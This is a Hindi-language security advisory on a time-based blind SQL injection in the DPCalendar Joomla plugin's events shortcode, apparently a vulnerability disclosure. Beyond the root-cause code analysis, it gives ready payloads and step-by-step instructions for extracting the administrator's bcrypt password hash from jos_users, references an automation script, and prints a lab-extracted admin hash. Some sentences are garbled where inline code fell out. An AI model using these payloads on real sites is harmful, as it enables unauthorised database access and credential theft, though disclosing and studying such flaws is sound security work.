
plg_content_dpcalendar में ORDER BY Shortcode के माध्यम से SQL Injection — DPCalendar Free ≤ 10.11.2
DPCalendar Free ≤ 10.11.2 — लेखक-स्तर का उपयोगकर्ता टाइम-आधारित ब्लाइंड इंजेक्शन के माध्यम से पूरा डेटाबेस निकालता है
plg_content_dpcalendar कंटेंट प्लगइन Joomla आर्टिकल बॉडी में एम्बेडेड {{#events order="..."}}{{/events}} शॉर्टकोड को पार्स करता है। order पैरामीटर का मान सीधे को भेजा जाता है, जो मॉडल की अपनी व्हाइटलिस्ट को पूरी तरह से बायपास करता है। फिर यह मान SQL क्लॉज में डाला जाता है, जो केवल द्वारा सुरक्षित होता है — जो सबक्वेरी इंजेक्शन के खिलाफ अपर्याप्त है।
EventsModel::setState('list.ordering', ...)populateState()ORDER BYDatabaseDriver::escape()एक लेखक-स्तर का उपयोगकर्ता जो आर्टिकल बना या संपादित कर सकता है, टाइम-आधारित ब्लाइंड SQL इंजेक्शन के माध्यम से डेटाबेस से डेटा निकालने के लिए इसका शोषण कर सकता है। SQLi हमलावर के अपने आर्टिकल सेव अनुरोध के भीतर ही सक्रिय होता है — किसी पीड़ित की इंटरैक्शन, प्रकाशित आर्टिकल, या एडमिन की भागीदारी की आवश्यकता नहीं होती।
| घटक | कमजोर | परीक्षण किया गया | ठीक किया गया |
|---|---|---|---|
| DPCalendar Free | 1.0.0 – 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |
नोट: यह कमजोरी CVE-2026-57831 (v10.11.2 में ठीक किया गया,
EventsModel.phpमेंfilter_created_byके माध्यम से बिना प्रमाणीकरण वाला SQLi) से अलग है। वर्तमान खोज कंटेंट प्लगइन (plg_content_dpcalendar) को प्रभावित करती है — एक अलग फ़ाइल, अलग पैरामीटर, और खोज के समय नवीनतम रिलीज़ में अनपैच्ड थी।
प्रकार: SQL इंजेक्शन (CWE-89) — टाइम-आधारित ब्लाइंड
प्रमाणीकरण आवश्यक: लेखक भूमिका (Joomla आर्टिकल बना/संपादित कर सकता है)
एंडपॉइंट: POST /index.php/submit-article?view=form&layout=edit
फ़ाइल: plg_content_dpcalendar/src/Extension/DPCalendar.php
प्लगइन का शॉर्टकोड पार्सर {{#events}} टैग में सभी की-वैल्यू पैरामीटरों को इटरेट करता है और मॉडल स्टेट को सीधे सेट करता है, जो populateState() व्हाइटलिस्ट सत्यापन को पूरी तरह से बायपास करता है:
PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — कमजोर पैरामीटर हैंडलिंग
foreach ($params as $paramKey => $paramValue) {
switch ($paramKey) {
case 'order':
// कमजोर: उपयोगकर्ता इनपुट से सीधे ऑर्डरिंग स्टेट सेट करता है
// populateState() व्हाइटलिस्ट को पूरी तरह से बायपास करता है
$model->setState('list.ordering', $paramValue);
break;
case 'orderdir':
$model->setState('list.direction', $paramValue);
break;
// ...
}
}
दूषित मान केवल कोट-एस्केपिंग के साथ EventsModel::getListQuery() में प्रवाहित होता है — जो ORDER BY संदर्भ में सबक्वेरी इंजेक्शन को रोकने के लिए अपर्याप्त है:
COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — ORDER BY निर्माण
$orderCol = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');
// $db->escape() केवल कोट्स को एस्केप करता है — सबक्वेरी इंजेक्शन को नहीं रोकता
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
(SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) जैसी सबक्वेरी $db->escape() से बिना किसी बदलाव के गुजरती है क्योंकि इसमें कोई कोट वर्ण नहीं होता। परिणामी SQL बन जाता है:
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))--
ORDER BY एक्सप्रेशन केवल तब मूल्यांकित होता है जब परिणाम सेट गैर-खाली होता है — जिसके लिए कम से कम एक प्रकाशित भविष्य का DPCalendar इवेंट आवश्यक है, जो किसी भी सक्रिय DPCalendar इंस्टॉलेशन के लिए मानक स्थिति है।
मुख्य व्यवहार: SQLi सेव/संपादन POST अनुरोध के भीतर ही सक्रिय होता है — समय विलंब सीधे HTTP प्रतिक्रिया (303 रीडायरेक्ट) में देखा जा सकता है। हमलावर अपने स्वयं के POST प्रतिक्रिया समय को मापता है; किसी आर्टिकल व्यू, पेज रीलोड, या प्रकाशन चरण की आवश्यकता नहीं होती।
पूर्वापेक्षाएँ:
plg_content_dpcalendar प्लगइन सक्षम (DPCalendar इंस्टॉल पर डिफ़ॉल्ट)start_date के साथ कम से कम 1 प्रकाशित DPCalendar इवेंटपरिदृश्य: टाइम-आधारित ब्लाइंड SQLi → एडमिन क्रेडेंशियल निकालना
प्लगइन क्वेरी बनाने से पहले filter.state = 1 और list.start-date = NOW() सेट करता है। ORDER BY सबक्वेरी केवल तब निष्पादित होती हैं जब परिणाम सेट में पंक्तियाँ होती हैं; यदि 0 पंक्तियाँ मेल खाती हैं, तो SLEEP() कभी नहीं कहा जाता।

लेखक खाते का उपयोग करके Joomla फ्रंटएंड में प्रमाणित करें। इस हमले में किसी भी बिंदु पर एडमिन एक्सेस की आवश्यकता नहीं होती।

फ्रंटएंड आर्टिकल सबमिशन फॉर्म (/submit-article) पर नेविगेट करें। आर्टिकल बॉडी में निम्नलिखित पेलोड डालें और Save पर क्लिक करें:
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
POST प्रतिक्रिया स्वयं ~5 सेकंड विलंबित होती है। onContentPrepare Joomla सेव पाइपलाइन के दौरान सक्रिय होता है, जो 303 रीडायरेक्ट जारी होने से पहले कमजोर क्वेरी को आमंत्रित करता है। किसी आर्टिकल व्यू या प्रकाशन की आवश्यकता नहीं होती।

1=1 को 1=2 (हमेशा गलत) से बदलें। SLEEP ट्रिगर नहीं होता और प्रतिक्रिया तुरंत (~100ms) लौट आती है, जो विश्वसनीय समय पृथक्करण की पुष्टि करती है।
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

प्रत्येक वर्ण को पढ़ने के लिए ASCII(SUBSTRING(...)) तुलनाओं का उपयोग करें। सिंगल कोट्स से बचना चाहिए (शॉर्टकोड regex [^"\']* किसी भी कोट वर्ण पर रुक जाता है); इसके बजाय दशमलव ASCII मानों का उपयोग करें:
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
प्रतिक्रिया समय ~5s → TRUE → char[1] = '$' (ASCII 36 — bcrypt $2y$10$... हैश का पहला वर्ण)।

बाइट-दर-बाइट निष्कर्षण लूप को स्वचालित करने के लिए exploit/exploit.py चलाएँ:
python3 exploit/exploit.py http://TARGET
स्क्रिप्ट लेखक के रूप में लॉग इन करती है, निर्मित पेलोड सबमिट करती है, और उपयोगकर्ता नाम, ईमेल, और पूरा 60-वर्ण bcrypt पासवर्ड हैश निकालती है। प्रयोगशाला परिणाम ने पुष्टि की: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC।

| स्थिति | प्रतिक्रिया समय |
|---|---|
TRUE: ASCII(SUBSTR(password,1,1))=36 | ~5,000 ms |
FALSE: ASCII(SUBSTR(password,1,1))=65 | ~100 ms |
jos_users.password), सत्र टोकन, और उपयोगकर्ता ईमेल शामिल हैं।